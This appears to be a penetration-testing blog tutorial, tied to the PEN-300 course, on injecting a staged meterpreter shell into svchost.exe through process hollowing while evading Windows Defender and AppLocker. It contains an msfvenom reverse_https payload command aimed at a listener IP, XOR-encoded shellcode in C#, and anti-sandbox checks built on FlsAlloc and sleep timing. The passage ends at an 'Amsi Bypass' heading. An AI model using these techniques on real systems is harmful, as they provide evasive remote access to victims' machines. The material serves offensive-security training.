Objective

During the study of PEN-300 by OffSec, one of the best techniques taught is the injection of staged shellcode into Windows binaries like **svchost.exe**. The course also covers advanced AV evasion techniques and AppLocker restriction bypass. Unfortunately, there is no chapter that combines process hollowing with these bypass methods, so in this article, I want to show the implementation.

The setup

The target machine will be an Windows 10 Enteprise fully updated, at the time I am writing, **22H2** version with these Hotfix:

```
systeminfo

Hotfix(s):                 8 Hotfix(s) Installed.
                           [01]: KB5048161
                           [02]: KB5045936
                           [03]: KB5011048
                           [04]: KB5015684
                           [05]: KB5046613
                           [06]: KB5014032
                           [07]: KB5016705
                           [08]: KB5046823
```

This machine have an Local, non admin account, named **Student** that will simulate out target user.

On top of that tha machine have windows defender fully turn On

{{< figArray subfolder="defender" figCaption="MD settings" >}}

And AppLocker with default rules

PROF

{{< figArray subfolder="applocker" figCaption="AppLocker settings" >}}

That prevent the execution of scripts and binary outside default locations of non admin account

```
PS C:\Users\student> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

PS C:\Users\student> copy C:\Windows\System32\calc.exe
C:\Users\student\Desktop\;
C:\Users\student\Desktop\calc.exe

Program 'calc.exe' failed to run This program is blocked by group
policy.
For more information, contact your system administrator
```

The strategy

The idea is to create an managed .dll that inject a staged meterpreter shellcode in the native svchost.exe process, this process was choice because is normally perform network activities so that our reverse shell should be less easly detected.

Because we hava also defender in place we have to craft our payload in an encrypted and objuscated way, implement some of AV heuristic bypass and diasable AMSI at run time.

Because also there is AppLocker in place our user can't invoke .NEt framework script so we have to implemente a bypass to be able to change the **$ExecutionContext.SessionState.LanguageMode** to **FullLanguage** and be able to execute scripts.

The encrypted shell code

First of all we generate the staget shell code. I choose the https one so the comunication is encrypted:

```
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.191.226 LPORT=443 -f csharp


byte[] buf = new byte[593] { 0xbb,0x3b,0xe5,0x6f,0x90,0xd9,
0xcc,0xd9,0x74,0x24,0xf4,0x5e,0x33,0xc9,0xb1,0xba,0x31,0x5e,
0x12,0x03,0x5e,0x12,0x83,0xd5,0x19,0x8d,0x65,0x96,0x65,0x4e,
0x33,0xfd,0xb3,0xa5,0xe2,0x89,0x67,0xce,0x4e,0x42,0xa1,0x9f,
0xc2,0x95,0x4a,0xf3,0x27,0xae,0xbf,0x70,0xe4,0xd3,0x3e,0x36,
0x25,0x9c,0xf8,0x0e,0x45,0x83,0xdf,0x16,0x3c,0xda,0x0e,...}
```

now, because the shell code we be in the malicious .dll, to avoid any problem with static signature detection by Defender we have to encyprt the payload. I choose to do it with a xor key a loop over all bytes.

PROF

Below the implementation in c#:

We declare the key, the uncrypted shell code

```
// the key
byte key = 0x2a;
// the shell code
byte[] buf = new byte[593] {0xdb,0xdb,0xd9,0x74,0x24,0xf4,...};
byte[] encoded = new byte[buf.Length];
```

now we simply loop over it

```
for (int i = 0; i < buf.Length; i++)
{
    encoded[i] = (byte)(buf[i] ^ key);
}
```

and get the new shell code encrypted

```
C:\Tools\xor_encrypt.exe

XOR encryption with key 0x2a
byte[] buf = new byte[827] {
0xf1, 0xf1, 0xf3, 0x5e, 0x0e, 0xde, 0x91, 0xf1, 0x97, 0x51, 0x0c, 0x74,
0x03,
0xe3, 0x9b, 0xe6, 0x1b, 0x74, 0x30, 0x29, 0x74, 0x30, 0xa9, 0xec, 0x2e,
0xc8, 0x04, 0x2f, 0xa3, 0x64, 0x3d, 0x5b, 0x9e, 0x75, 0x64, 0x20, ...}
```

The process Hollowing code

Now that we have the encrypted shell code we craft the code to do the process hollowing, I will skip all the technical implementation that is standard.

One thing to note is that we have to uncrypted our shell code at runtime, so we implement this:

```
for (int i = 0; i < buf.Length; i++) { buf[i] = (byte)(buf[i] ^ 0x2a); }
```

above that to avoid any heuristic detection, we can use a few technique. The first one is to call a rare Win32API. If the call to this function is not working, we are problaby running in an emulation enviroment by the Antivirus so we simply exit. I choose to use FlsAlloc:

PROF

```
IntPtr x = FlsAlloc(IntPtr.Zero);
if ((uint)x == 0xFFFFFFFF) { return; }
```

The next techinques is to simply put a sleep function. Usually when Antivirus see the sleel they fast forward to the next instruction to evit any lantency to the final user. We can simply check if the time elapsed if equal of the time sleep. If not we return:

```
DateTime t1 = DateTime.Now;
Sleep(2000);
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
if (t2 < 1.5) { return; }
```

Amsi Bypass